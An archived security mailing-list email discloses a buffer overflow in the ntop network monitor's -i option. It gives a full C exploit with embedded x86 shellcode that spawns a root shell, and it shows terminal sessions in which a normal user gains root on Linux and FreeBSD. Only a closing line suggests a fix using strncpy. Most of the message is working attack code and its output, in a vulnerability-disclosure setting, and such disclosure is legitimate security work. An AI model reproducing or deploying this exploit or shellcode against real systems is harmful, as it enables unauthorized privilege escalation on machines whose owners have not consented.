Hi,

A big problem exist with all version da ntop in the -i option.
Exemple:

tshaw:/home/cb/ntop-1.3.2# ./ntop -i `perl -e 'print "A"x2875'`
24/Oct/2000:11:25:02 ntop v.1.3.2 MT [i686-pc-linux-gnu] (08/11/00
07:04:32 PM build)
24/Oct/2000:11:25:02 Listening on
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
24/Oct/2000:11:25:02 Copyright 1998-2000 by Luca Deri <[EMAIL PROTECTED]>
24/Oct/2000:11:25:02 Get the freshest ntop from http://www.ntop.org/
24/Oct/2000:11:25:02 Initialising...
Segmentation fault
tshaw:/home/cb/ntop-1.3.2# 

It's possible to use this option for execute any commands (root shell)...

Exemple of the exploit with ntop 1.3.1 :

---Cut here---

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define LEN 276 

int main (int argc, char **argv)
{
  char buf[LEN + 12];
  int  ret = 0xbffffae0;
  int  *p;

  char code[]=
      "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
      "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc > 1) {
    ret += atoi(argv[1]);
    fprintf(stderr, "Using ret %#010x\n", ret);
  }

  memset(buf, '\x90', LEN);
  memcpy(buf + LEN - strlen(code), code, strlen(code));

  p = (int *) (buf + LEN);

  *p++ = ret;
  *p++ = ret;
  *p   = 0;

 execl("/usr/local/bin/ntop", "ntop", "-i", buf, NULL);

}

---Cut Here---

When i use the exploit, ntop do it :

tshaw:~/sec/work$ id
uid=1000(cb) gid=100(users) groups=100(users),3(sys),11(floppy)
tshaw:~/sec/work$ 

tshaw:~/sec/work$ ./expl -100
Using ret 0xbffffa7c
uid=0(root) gid=100(users) groups=100(users),3(sys),11(floppy)
tshaw
/home/cb/sec/work
blaw  blaw.c  expl  ntop  ntop.db  ntop_pw.db  vul  yo  yo.c


An other exemple of the exploit on freebsd 4.1 with ntop 1.1 :

glab@keupon> id
uid=1002(glab) gid=1000(friends) groups=1000(friends)
glab@keupon> ./expl 1080 

 ntop v.1.1 MT [i386-unknown-freebsd4.1] listening on 

Host                     Act   -Rcvd-      Sent       TCP       UDP ICMP
sh-2.04# 
sh-2.04# id
uid=0(root) gid=1000(friends) groups=1000(friends)
sh-2.04# pwd
/opt/home/glab
sh-2.04# 

This afternoon i will send to bugtraq the advisory with the exploit for
ntop 1.1 for linux, freebsd and ntop 1.3.1 for linux.

You must verify the size of string with the -i option...
strncpy ?


good luck :)

And sorry for my poor english :)

Regards,

--   
BAILLEUX Christophe - Network & System Security Engineer                               
                                              
Grolier Interactive Europe-OG/CS                                                       
                
Voice:+33-(0)1-5545-4789 - mailto:[EMAIL PROTECTED]

Reply via email to